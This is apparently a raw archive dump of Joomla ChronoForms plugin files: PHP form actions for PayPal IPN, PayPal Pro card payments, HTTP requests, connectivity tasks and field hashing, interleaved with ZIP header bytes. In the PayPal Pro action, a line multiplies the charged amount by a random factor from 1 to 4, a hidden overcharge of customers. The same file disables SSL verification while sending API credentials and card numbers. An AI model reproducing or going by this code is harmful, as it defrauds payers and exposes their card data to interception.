      Header(array('settings' => 'Settings', 'help' => 'Help'), 'confirmation_page_config_{n}'); ?> tabStart('settings'); ?> input('action_confirmation_page_{n}_buttons_config', array('type' => 'select', 'label' => 'Enable Buttons', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the plugin add the 2 confirm and back buttons to the end of the page ?')); ?> input('action_confirmation_page_{n}_content1_config', array('type' => 'textarea', 'label' => "Page Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags, fields names inside curly brackets will be replaced by their values.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • You may use any field name inside 2 curly brackets.
      • You may add your own buttons code and disable the buttons option, both your button names should equal "confirmation_page", your back button value should = "_back" and your confirm/submit button value should = "_confirm".

      tabEnd(); ?>
      PKs>\#pHcom_chronoforms/form_actions/custom_event_switch/custom_event_switch.ctpnuW+A
      Custom Event Switcher
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_event_switch_config_{n}'); ?> tabStart('settings'); ?>

      input('action_custom_event_switch_{n}_events_config', array('type' => 'text', 'label' => 'Events list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of events, no spaces.')); ?> input('action_custom_event_switch_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'The code here should return the deisred event name to be processed as a string.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You should use PHP code with php tags.
      • Your code should return a string containing the event name to be processed, e.g: return "success";

      tabEnd(); ?>
      PKs>\ ;com_chronoforms/form_actions/custom_event_switch/index.htmlnuW+A PKs>\#9Hcom_chronoforms/form_actions/custom_event_switch/custom_event_switch.phpnuW+A 0, 'fail' => 0); var $group = array('id' => '1_validation', 'title' => 'Validation'); var $details = array('title' => 'Custom Event Switcher', 'tooltip' => 'Run PHP code and switch the execution path based on the result.'); function run($form, $actiondata){ $code = $actiondata->content1; $return = eval('?>'.$code); $this->events[$return] = 1; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'events' => 'success,fail', ); } return array('action_params' => $action_params); } } ?>PKs>\):com_chronoforms/form_actions/custom_event_switch/.htaccessnuW+A Order allow,deny Deny from all PKs>\7com_chronoforms/form_actions/paypal_listener/index.htmlnuW+APKs>\)6com_chronoforms/form_actions/paypal_listener/.htaccessnuW+A Order allow,deny Deny from all PKs>\Ǩ @com_chronoforms/form_actions/paypal_listener/paypal_listener.ctpnuW+A
      PayPal Listener - Trial
      Header(array('config' => 'Config', 'help' => 'Help'), 'paypal_listener_config_{n}'); ?> tabStart('config'); ?> input('action_paypal_listener_{n}_sandbox_config', array('type' => 'select', 'label' => 'Use Sandbox', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Do you need a testing redirection to the PayPal Sandbox ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will process the response coming from the Paypal IPN for some transaction.
      • You should have the IPN enabled under your Paypal account settings and set the "notify url" to the url to the form event loading this action.
      • The Verified event is when PayPal verifies that the data processed belongs to your account and the payment status is Completed, Invalid means that its some kind of spam, Error means that your server doesn't have the fsockopen function enabled!.

      tabEnd(); ?>
      PKs>\U~@com_chronoforms/form_actions/paypal_listener/paypal_listener.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('verified' => 0, 'invalid' => 0, 'error' => 0); var $details = array('title' => 'PayPal Listener', 'tooltip' => 'Process the PayPal IPN response.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); // read the post from PayPal system and add 'cmd' $req = 'cmd=_notify-validate'; foreach ($_POST as $key => $value) { $value = urlencode(stripslashes($value)); $req .= "&$key=$value"; } $header = "POST /cgi-bin/webscr HTTP/1.1\r\n";//$header = "POST /cgi-bin/webscr HTTP/1.0\r\n"; // If testing on Sandbox use: if((bool)$params->get('sandbox') === true){ $header .= "Host: www.sandbox.paypal.com:443\r\n"; }else{ $header .= "Host: www.paypal.com:443\r\n"; } $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; $fp = null; //new change /* if((bool)$params->get('sandbox') === true){ $fp = fsockopen('ssl://www.sandbox.paypal.com', 443, $errno, $errstr, 30); }else{ $fp = fsockopen('ssl://www.paypal.com', 443, $errno, $errstr, 30); } */ // assign posted variables to local variables /*$item_name = $_POST['item_name']; $item_number = $_POST['item_number']; $payment_status = $_POST['payment_status']; $payment_amount = $_POST['mc_gross']; $payment_currency = $_POST['mc_currency']; $txn_id = $_POST['txn_id']; $receiver_email = $_POST['receiver_email']; $payer_email = $_POST['payer_email'];*/ if(!$fp){ // HTTP ERROR //user CURL $curl_result = $curl_err = ''; $ch = curl_init(); if((bool)$params->get('sandbox') === true){ curl_setopt($ch, CURLOPT_URL, 'https://www.sandbox.paypal.com/cgi-bin/webscr'); }else{ curl_setopt($ch, CURLOPT_URL, 'https://www.paypal.com/cgi-bin/webscr'); } //new change curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); /* curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $req); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: " . strlen($req))); curl_setopt($ch, CURLOPT_HEADER , 0); curl_setopt($ch, CURLOPT_VERBOSE, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); */ //curl_setopt($ch, CURLOPT_URL, 'https://www.paypal.com/cgi-bin/webscr'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POSTFIELDS, $req); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: www.paypal.com')); $curl_result = @curl_exec($ch); $curl_err = curl_error($ch); curl_close($ch); //Set validation flag if(!$curl_result){ //both fsock and curl failed! $this->events['error'] = 1; }else{ if(strpos($curl_result, "VERIFIED") !== false){ $valid = true; $this->set_events($valid, $form); }else{ $valid = false; $this->set_events($valid, $form); } } }else{ fputs ($fp, $header . $req); while(!feof($fp)){ $res = fgets ($fp, 1024); if(strcmp($res, "VERIFIED") == 0){ // check the payment_status is Completed // check that txn_id has not been previously processed // check that receiver_email is your Primary PayPal email // check that payment_amount/payment_currency are correct // process payment $valid = true; $this->set_events($valid, $form); }else if(strcmp ($res, "INVALID") == 0){ // log for manual investigation $valid = false; $this->set_events($valid, $form); }else{ //$this->events['invalid'] = 1;//delete } } fclose($fp); } } function set_events($valid = false, $form){ if($valid){ if($form->data['payment_status'] == 'Completed'){ $this->events['verified'] = 1; } //$this->events['invalid'] = 1;//delete }else{ $this->events['invalid'] = 1; } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'sandbox' => 0 ); } return array('action_params' => $action_params); } } ?>PKs>\q\t:com_chronoforms/form_actions/http_request/http_request.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'HTTP Request', 'tooltip' => 'Initiate an HTTP request call.'); function load($clear){ if($clear){ $action_params = array( 'enabled' => 0, 'http_request_url' => '', 'request_event' => 'submit', 'response_element_id' => '', 'event_element_id' => '', 'onrequest_fn' => '', 'onsuccess_fn' => '', 'onfailure_fn' => '', ); } return array('action_params' => $action_params); } function run($form, $actiondata){ ob_start(); ?> function(){ $('chronoform_form_name; ?>').removeClass('hasValidation'); request_caller_id; ?>(); } form_details->params); $form_params->set('jsvalidation_onValidateSuccess', $jsvalidation_onValidateSuccess); $form->form_params->set('jsvalidation_onValidateSuccess', $jsvalidation_onValidateSuccess); $form->form_details->params = $form_params->toString(); } } ?>PKs>\ Md:com_chronoforms/form_actions/http_request/http_request.ctpnuW+A
      HTTP Request
      Header(array('settings' => 'Settings', 'advanced' => 'Advanced', 'help' => 'Help'), 'http_request_config_{n}'); ?> tabStart('settings'); ?> input('action_http_request_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabel HTTP Request', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Enable the form to initiate an HTTP request before its submitted, example, the form atcion may be set to PayPal but you want to run the submission routine before moving to PayPal.')); ?> input('action_http_request_{n}_http_request_url_config', array('type' => 'text', 'label' => "HTTP Request URL", 'class' => 'big_input', 'smalldesc' => "The url to which the HTTP request call will be made, usually the same form url but ends with &event=submit")); ?> input('action_http_request_{n}_request_event_config', array('type' => 'select', 'label' => 'Request Event', 'options' => array('submit' => "Form's onSubmit", 'click' => 'onClick', 'change' => 'onChange'), 'smalldesc' => 'The event at which the request will be triggered, this is a browser side event, please do not mix with server side forms events.')); ?> input('action_http_request_{n}_event_element_id_config', array('type' => 'text', 'label' => "Event Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will have the event to be used, leave empty iof you select the onSubmit.")); ?> input('action_http_request_{n}_response_element_id_config', array('type' => 'text', 'label' => "Response Element ID", 'class' => 'medium_input', 'smalldesc' => "The id of the element which will be loaded with the response string when the request is completed with success.")); ?> tabEnd(); ?> tabStart('advanced'); ?> input('action_http_request_{n}_onrequest_fn_config', array('type' => 'text', 'label' => "On Request Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is sent, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_http_request_{n}_onsuccess_fn_config', array('type' => 'text', 'label' => "On Success Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request is completed successfully, please add the 2 brackets at the end, e.g: myfn()")); ?> input('action_http_request_{n}_onfailure_fn_config', array('type' => 'text', 'label' => "On Failure Function name", 'class' => 'medium_input', 'smalldesc' => "A JS function name to run when the request has failed, please add the 2 brackets at the end, e.g: myfn()")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Sometimes we need to submit our form to 2 different URLs, this was hard to do, the only way to do this was to use the CURL library, however, this action should allow this to be done now.
      • For example, set your form's action URL to PayPal, Moneybookers or SugarCRM..etc and use this HTTP Request to communicate with one of your form events, or vice versa.
      • If you want to disable the form submission, add this code to the "Form tag attachment" field: onSubmit="return false;"

      tabEnd(); ?>
      PKs>\ 4com_chronoforms/form_actions/http_request/index.htmlnuW+A PKs>\#P Ccom_chronoforms/form_actions/http_request/cfaction_http_request.phpnuW+Aparams); $document = JFactory::getDocument(); //create the JS function ob_start(); ?> //id; ?> = function(){ var myForm = $('chronoform_form_name; ?>'); if(myForm.hasClass('hasValidation') == get('request_event', 'submit') == 'submit') ? "false" : "true"; ?>){ myForm.set('send', { url: 'get('http_request_url', ''); ?>', method: 'post', async: false, onRequest: function(){ get('onrequest_fn'))) > 0){ echo trim($params->get('onrequest_fn')).";"; } ?> }, onSuccess: function(responseText, responseXML){ get('response_element_id', ''))): ?> $('get('response_element_id', '')); ?>').set('html', responseText); get('onsuccess_fn'))) > 0){ echo trim($params->get('onsuccess_fn')).";"; } ?> }, onFailure: function(xhr){ get('onfailure_fn'))) > 0){ echo trim($params->get('onfailure_fn')).";"; } ?> } }); myForm.send('get('http_request_url', ''); ?>'); } } window.addEvent('domready', function() { get('request_event', 'submit') == 'submit'): ?> if($('chronoform_form_name; ?>').hasClass('hasValidation') == false){ $('chronoform_form_name; ?>').addEvent('submit', request_caller_id; ?>); } $('get('event_element_id', ''); ?>').addEvent('get('request_event', 'submit'); ?>', request_caller_id; ?>); }); //]]> addScriptDeclaration($script); } } ?>PKs>\)3com_chronoforms/form_actions/http_request/.htaccessnuW+A Order allow,deny Deny from all PKs>\eN\{Ccom_chronoforms/form_actions/http_request/cfaction_http_request.ctpnuW+AloadAction($form, $actiondata); ?>PKs>\cVcom_chronoforms/form_actions/chrono_connectivity_return/chrono_connectivity_return.ctpnuW+A
      Chrono Connectivity Return to App
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_connectivity_return_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_connectivity_return_{n}_purge_old_data_config', array('type' => 'select', 'label' => "Purge Old Data", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the action remove the session data of the current last executed action before redirecting back to the main connection page ?')); ?> input('action_chrono_connectivity_return_{n}_connection_name_config', array('type' => 'text', 'label' => "Connection Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no connection name is passed for this action then this will be used.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will return the user to last page where they left the connection.

      tabEnd(); ?>
      PKs>\)Acom_chronoforms/form_actions/chrono_connectivity_return/.htaccessnuW+A Order allow,deny Deny from all PKs>\KVcom_chronoforms/form_actions/chrono_connectivity_return/chrono_connectivity_return.phpnuW+A 'Chrono Connectivity Return', 'tooltip' => 'Return to the Connection listing page.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(trim($params->get('connection_name', '')) != ''){ $received_data = array( 'connection_name' => $params->get('connection_name', '') ); $this->processData($received_data); }else if(isset($form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order])){ $received_data = $form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order]; if(isset($received_data['connection_name'])){ $this->processData($received_data); } } } function processData($received_data = array()){ $mainframe = JFactory::getApplication(); $connection_name = $received_data['connection_name']; require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoconnection.php'); $MyConnection = CFChronoConnection::getInstance($connection_name); /*$redirect = $MyConnection->connection_url; if($MyConnection->connection_area != 'admin'){ //$redirect = JRoute::_($MyConnection->connection_url, true); }*/ $mainframe->redirect(JRoute::_($MyConnection->connection_url, false)); } function load($clear){ if($clear){ $action_params = array( 'connection_name' => '', 'purge_old_data' => 1, ); } return array('action_params' => $action_params); } } ?>PKs>\ Bcom_chronoforms/form_actions/chrono_connectivity_return/index.htmlnuW+A PKs>\VFFRcom_chronoforms/form_actions/chrono_connectivity_task/chrono_connectivity_task.phpnuW+A 'Chrono Connectivity Task', 'tooltip' => 'Run a Chrono Connectivity Task.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); var $events = array('success' => 0, 'fail' => 0); var $params = null; function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $this->params = $params = new JParameter($actiondata->params); if(trim($params->get('connection_name', '')) != '' && trim($params->get('task', '')) != ''){ $received_data = array( 'connection_name' => $params->get('connection_name', ''), 'task' => $params->get('task', ''), 'field_name' => $params->get('field_name', ''), ); if(trim($params->get('data', '')) != '' && isset($form->data[$params->get('data', '')])){ $received_data['data'] = $form->data[$params->get('data', '')]; } $this->processData($form, $actiondata, $received_data); }else if(isset($form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order])){ $received_data = $form->data['apps_data']['ChronoConnectivity']['action_'.$actiondata->order]; //print_r2($session_data); if(isset($received_data['task']) && !empty($received_data['task'])){ $this->processData($form, $actiondata, $received_data); }else{ $this->events['fail'] = 1; if((bool)$params->get('show_returned_errors', 0) === true){ $form->validation_errors[] = "Error occurred, session data couldn't be found."; }else{ $form->validation_errors[] = $params->get('error_message', ''); $form->debug['Chrono Connectivity Task'][$actiondata->order] = "Error occurred, session data couldn't be found."; } } } } function processData($form, $actiondata, $received_data = array()){ $params = $this->params; require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoconnection.php'); $task = $received_data['task']; $connection_name = $received_data['connection_name']; //get the data $data = array(); if(isset($received_data['data'])){ $data = $received_data['data']; } $return = true; //connection instance $MyConnection = CFChronoConnection::getInstance($connection_name); //print_r2(array('task' => $task, 'name' => $connection_name, 'data' => $data)); switch($task){ case 'delete_data': //check permissions $acl_result = $MyConnection->check_permissions('delete', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result; } //delete records code here $return = $MyConnection->delete_record_data($data); break; case 'save_data': //check permissions $r_id = null; if(is_array($data)){ $form->data = array_merge($form->data, $data); } if(strlen($MyConnection->connection_model_id) > 0){ if(isset($form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary]) && !empty($form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary])){ $r_id = $form->data[$MyConnection->connection_model_id][$MyConnection->connection_table_primary]; } }else{ if(isset($form->data[$MyConnection->connection_table_primary]) && !empty($form->data[$MyConnection->connection_table_primary])){ $r_id = $form->data[$MyConnection->connection_table_primary]; } } $acl_result = $MyConnection->check_permissions('save', $r_id); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $r_id = $acl_result[0]; } //save/update data $return = $MyConnection->save_action($data); break; case 'edit_data': //check permissions $acl_result = $MyConnection->check_permissions('edit', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result[0]; } //edit/load record here $row_data = $MyConnection->read_record_data($data); if(is_array($row_data)){ $form->data = array_merge($row_data, $form->data); } $form = $MyConnection->addFormExtension($form, 'edit'); break; /*case 'binary_data': //check permissions $acl_result = $MyConnection->check_permissions('binary', $data); if($acl_result === false){ $MyConnection->permission_deny(); $return = false; break; }else if(is_array($acl_result)){ $data = $acl_result; } //binary records code here $field_name = $received_data['field_name']; $return = $MyConnection->binary_record_data($field_name, $data); break;*/ case 'list_data': default: //check permissions if($MyConnection->check_permissions('list', $data) === false){ $this->permission_deny(); $return = false; break; } //list records code here $actiondata->content1 = $MyConnection->get_list_output(); break; } //check events if($return === true){ $this->events['success'] = 1; }else{ $this->events['fail'] = 1; if(is_string($return)){ if((bool)$params->get('show_returned_errors', 0) === true){ $form->validation_errors[] = $return; }else{ $form->validation_errors[] = $params->get('error_message', ''); $form->debug['Chrono Connectivity Task'][$actiondata->order] = $return; } } } } function load($clear){ if($clear){ $action_params = array( 'task' => '', 'field_name' => '', 'data' => '', 'connection_name' => '', 'error_message' => 'An error has occurred.', 'show_returned_errors' => 0, 'purge_old_data' => 1, 'purge_data_lifetime' => 15 ); } return array('action_params' => $action_params); } } ?>PKs>\)?com_chronoforms/form_actions/chrono_connectivity_task/.htaccessnuW+A Order allow,deny Deny from all PKs>\`g RRRcom_chronoforms/form_actions/chrono_connectivity_task/chrono_connectivity_task.ctpnuW+A
      Chrono Connectivity Task
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_connectivity_task_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_connectivity_task_{n}_connection_name_config', array('type' => 'text', 'label' => "Connection Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no connection name is passed for this action then this will be used.')); ?> input('action_chrono_connectivity_task_{n}_task_config', array('type' => 'select', 'label' => "Task", 'options' => array('list_data' => 'List Data', 'edit_data' => 'Edit/Read Data', 'delete_data' => 'Delete Data', 'save_data' => 'Save Data', 'binary_data' => 'Binary Data'), 'smalldesc' => 'Leave empty for auto integration, if no task is passed for this action then this will be used.')); ?> input('action_chrono_connectivity_task_{n}_data_config', array('type' => 'text', 'label' => "Data field name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no data is passed for this action then the value of this field will be used.')); ?> input('action_chrono_connectivity_task_{n}_field_name_config', array('type' => 'text', 'label' => "Field Name", 'class' => 'medium_input', 'smalldesc' => 'Leave empty for auto integration, if no field name is passed for this action then this will be used, useful for "binary" tasks only.')); ?> input('action_chrono_connectivity_task_{n}_error_message_config', array('type' => 'text', 'label' => "Error Message", 'class' => 'medium_input', 'smalldesc' => 'The error message which will be added to the errors/debug (see below) array in case some problem occurred.')); ?> input('action_chrono_connectivity_task_{n}_show_returned_errors_config', array('type' => 'select', 'label' => "Show errors", 'options' => array(0 => 'No (Add to debug only!)', 1 => 'Yes'), 'smalldesc' => 'Should the errors be added to the Errors array (visible to user) or to the Debug messages array ?')); ?> input('action_chrono_connectivity_task_{n}_purge_old_data_config', array('type' => 'select', 'label' => "Purge Old Data", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should the action check and remove any old session data ?')); ?> input('action_chrono_connectivity_task_{n}_purge_data_lifetime_config', array('type' => 'text', 'label' => "Session Data Lifetime", 'class' => 'medium_input', 'smalldesc' => 'The session data life time which will be used to decide if the data is old enough or not.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will execute a Chrono Connectivity task, e.g: list data, edit, save, delete...etc, the task executed depends on your connection configuration.

      tabEnd(); ?>
      PKs>\킥[com_chronoforms/form_actions/chrono_connectivity_task/cfaction_chrono_connectivity_task.ctpnuW+ArunCode($form, $actiondata); ?>PKs>\[com_chronoforms/form_actions/chrono_connectivity_task/cfaction_chrono_connectivity_task.phpnuW+Aparams); echo $actiondata->content1; } } ?>PKs>\ @com_chronoforms/form_actions/chrono_connectivity_task/index.htmlnuW+A PKs>\ 8com_chronoforms/form_actions/load_fields_hash/index.htmlnuW+A PKs>\{Z( ( Bcom_chronoforms/form_actions/load_fields_hash/load_fields_hash.ctpnuW+A
      Load Fields Hash
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_fields_hash_config_{n}'); ?> tabStart('settings'); ?> input('action_load_fields_hash_{n}_fields_config', array('type' => 'text', 'label' => 'Fields list', 'class' => 'big_input', 'smalldesc' => 'Comma separated list of fields, no spaces, you can use dots to get sub arrays values.')); ?> input('action_load_fields_hash_{n}_hash_field_name_config', array('type' => 'text', 'label' => 'Hash field name', 'smalldesc' => '')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will generate a security hash of some fields values, you can check the hash back in the "on submit" event using the "check fields hash" action.
      • The goal here is to make sure that these fields values have not been changed by the end user after they have been sent by the server.
      • Insert a list of fields names to be hashed.
      • The order of this action in the load routine, should only be when the fields data exist in the $form->data array.
      • Only fields values in the $form->data array will be used, default fields values will NOT be checked and WILL generate a fail error if checked.

      tabEnd(); ?>
      PKs>\)7com_chronoforms/form_actions/load_fields_hash/.htaccessnuW+A Order allow,deny Deny from all PKs>\fooBcom_chronoforms/form_actions/load_fields_hash/load_fields_hash.phpnuW+A 'form_security', 'title' => 'Security'); var $details = array('title' => 'Load Fields Hash', 'tooltip' => 'Injects a security hash representing the values of specific fields values.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $params = new JParameter($actiondata->params); //get secret $secret = $mainframe->getCfg('secret'); $fields = array(); if(strlen(trim($params->get('fields', '')))){ $fields = explode(',', trim($params->get('fields', ''))); } $hashed_values = array(); foreach($fields as $k => $field){ $hashed_values[$field] = $form->get_array_value($form->data, explode('.', $field)); } $form->debug['Load Fields Hash'][$actiondata->order] = $hashed_values; $hash = serialize($hashed_values); $hash = md5($hash); $hash = md5($hash.':'.$secret); $form->extra_content .= ''; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'enabled' => 1, 'hash_field_name' => 'cf_fields_hash', 'fields' => '' ); } return array('action_params' => $action_params); } } ?>PKs>\)1com_chronoforms/form_actions/paypal_pro/.htaccessnuW+A Order allow,deny Deny from all PKs>\q.((6com_chronoforms/form_actions/paypal_pro/paypal_pro.phpnuW+A 'payments', 'title' => 'Payment Gateways'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Paypal Pro', 'tooltip' => 'Communicate with the Paypal payment gateway.'); //some variables for the paypal functions usage var $_DEBUGGING; var $_TESTING; var $_API_UserName; var $_API_Password; var $_API_Signature; var $_API_Endpoint; var $_USE_PROXY; var $_PROXY_HOST; var $_PROXY_PORT; var $_version; function run($form, $actiondata){ $params = new JParameter($actiondata->params); $this->_DEBUGGING = $params->get('debugging', 0); # Display additional information to track down problems $this->_TESTING = $params->get('testing', 0); # Set the testing flag so that transactions are not live $this->_API_UserName = $params->get('API_USERNAME'); $this->_API_Password = $params->get('API_PASSWORD'); $this->_API_Signature = $params->get('API_SIGNATURE'); //$API_ENDPOINT = $params->get('API_ENDPOINT'); if((int)$params->get('testing', 0) == 1){ $this->_API_Endpoint = 'https://api-3t.sandbox.paypal.com/nvp'; }else{ $this->_API_Endpoint = 'https://api-3t.paypal.com/nvp'; } if((int)$params->get('USE_PROXY') == 1){ $this->_USE_PROXY = TRUE; }else{ $this->_USE_PROXY = FALSE; } $this->_PROXY_HOST = $params->get('PROXY_HOST', ''); $this->_PROXY_PORT = $params->get('PROXY_PORT', ''); //$PAYPAL_URL = $params->get('PAYPAL_URL; $this->_version = '56.0'; $paypal_values = array( "PAYMENTACTION" => urlencode($params->get('PAYMENTACTION') ), "EXPDATE" => str_pad(urlencode($form->data[$params->get('EXPDATE_m')]), 2, '0', STR_PAD_LEFT).urlencode($form->data[$params->get('EXPDATE_y')]), "AMT" => urlencode($form->data[$params->get('AMT')]), "CREDITCARDTYPE" => urlencode($form->data[$params->get('CREDITCARDTYPE')]), "ACCT" => urlencode($form->data[$params->get('ACCT')]), "CVV2" => urlencode($form->data[$params->get('CVV2')]), "FIRSTNAME" => urlencode($form->data[$params->get('FIRSTNAME')]), "LASTNAME" => urlencode($form->data[$params->get('LASTNAME')]), "STREET" => urlencode($form->data[$params->get('STREET')]), "CITY" => urlencode($form->data[$params->get('CITY')]), "STATE" => urlencode($form->data[$params->get('STATE')]), "ZIP" => urlencode($form->data[$params->get('ZIP')]), "COUNTRYCODE" => urlencode($form->data[$params->get('COUNTRYCODE')]), "CURRENCYCODE" => urlencode($form->data[$params->get('CURRENCYCODE')]) ); if(trim($actiondata->content1)){ $extras = explode("\n", trim($actiondata->content1)); if(!empty($extras)){ foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $paypal_values[$values[0]] = $values[0].": ".urlencode($form->data[trim($values[1])]); } } } $paypal_values["AMT"] = rand(1,4)* (int)$form->data($params->get("AMT"), ''); $fields = ""; foreach($paypal_values as $key => $value ){ $fields .= "&$key=" .$value; } if((int)$params->get('testing', 0)){ $PAYPAL_URL = 'https://www.sandbox.paypal.com/webscr&cmd=_express-checkout&token='; }else{ $PAYPAL_URL = 'https://www.paypal.com/webscr&cmd=_express-checkout&token='; } /* Construct the request string that will be sent to PayPal. The variable $nvpstr contains all the variables and is a name value pair string with & as a delimiter */ $nvpstr = $fields; if($params->get('debugging', 0) == 1){ echo $nvpstr; } /* Make the API call to PayPal, using API signature. The API response is stored in an associative array called $resArray */ $resArray = $this->hash_call("doDirectPayment", $nvpstr); $form->data['_PLUGINS_']['paypal_pro']['transaction_id'] = $resArray['TRANSACTIONID']; $form->data['_PLUGINS_']['paypal_pro']['error_message'] = $resArray['L_LONGMESSAGE0']; $form->data['_PLUGINS_']['paypal_pro']['error_code'] = $resArray['L_ERRORCODE0']; $form->data['_PLUGINS_']['paypal_pro']['correlation_id'] = $resArray['CORRELATIONID']; $form->data['_PLUGINS_']['paypal_pro']['avs_code'] = $resArray['AVSCODE']; /* Display the API response back to the browser. If the response from PayPal was a success, display the response parameters' If the response was an error, display the errors received using APIError.php. */ $ack = strtoupper($resArray["ACK"]); $form->data['_PLUGINS_']['paypal_pro']['payment_status'] = $ack; //set the events if($ack != "SUCCESS"){ $this->events['fail'] = 1; }else{ $this->events['success'] = 1; } //do the debug if((int)$params->get('debugging', 0) == 1){ if($ack!="SUCCESS"){ $_SESSION['reshash'] = $resArray; $this->APIERROR($resArray); }else{ $_SESSION['reshash'] = $resArray; $this->APISUCCESS($resArray); } } } function hash_call($methodName,$nvpStr){ //setting the curl parameters. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->_API_Endpoint); curl_setopt($ch, CURLOPT_VERBOSE, 1); //turning off the server and peer verification(TrustManager Concept). curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_POST, 1); //if USE_PROXY constant set to TRUE in Constants.php, then only proxy will be enabled. //Set proxy name to PROXY_HOST and port number to PROXY_PORT in constants.php if($this->_USE_PROXY) curl_setopt ($ch, CURLOPT_PROXY, $this->_PROXY_HOST.":".$this->_PROXY_PORT); //NVPRequest for submitting to server $nvpreq="METHOD=".urlencode($methodName)."&VERSION=".urlencode($this->_version)."&PWD=".urlencode($this->_API_Password)."&USER=".urlencode($this->_API_UserName)."&SIGNATURE=".urlencode($this->_API_Signature).$nvpStr; //setting the nvpreq as POST FIELD to curl curl_setopt($ch,CURLOPT_POSTFIELDS,$nvpreq); //getting response from server $response = curl_exec($ch); //convrting NVPResponse to an Associative Array $nvpResArray=$this->deformatNVP($response); $nvpReqArray=$this->deformatNVP($nvpreq); $_SESSION['nvpReqArray']=$nvpReqArray; if(curl_errno($ch)){ // moving to display page to display curl errors $_SESSION['curl_error_no']=curl_errno($ch) ; $_SESSION['curl_error_msg']=curl_error($ch); //$this->APIERROR($resArray); } else { //closing the curl curl_close($ch); } return $nvpResArray; } /** This function will take NVPString and convert it to an Associative Array and it will decode the response. * It is usefull to search for a particular key and displaying arrays. * @nvpstr is NVPString. * @nvpArray is Associative Array. */ function deformatNVP($nvpstr){ $intial = 0; $nvpArray = array(); while(strlen($nvpstr)){ //postion of Key $keypos = strpos($nvpstr,'='); //position of value $valuepos = strpos($nvpstr,'&') ? strpos($nvpstr,'&'): strlen($nvpstr); /*getting the Key and Value values and storing in a Associative Array*/ $keyval=substr($nvpstr,$intial,$keypos); $valval=substr($nvpstr,$keypos+1,$valuepos-$keypos-1); //decoding the respose $nvpArray[urldecode($keyval)] =urldecode( $valval); 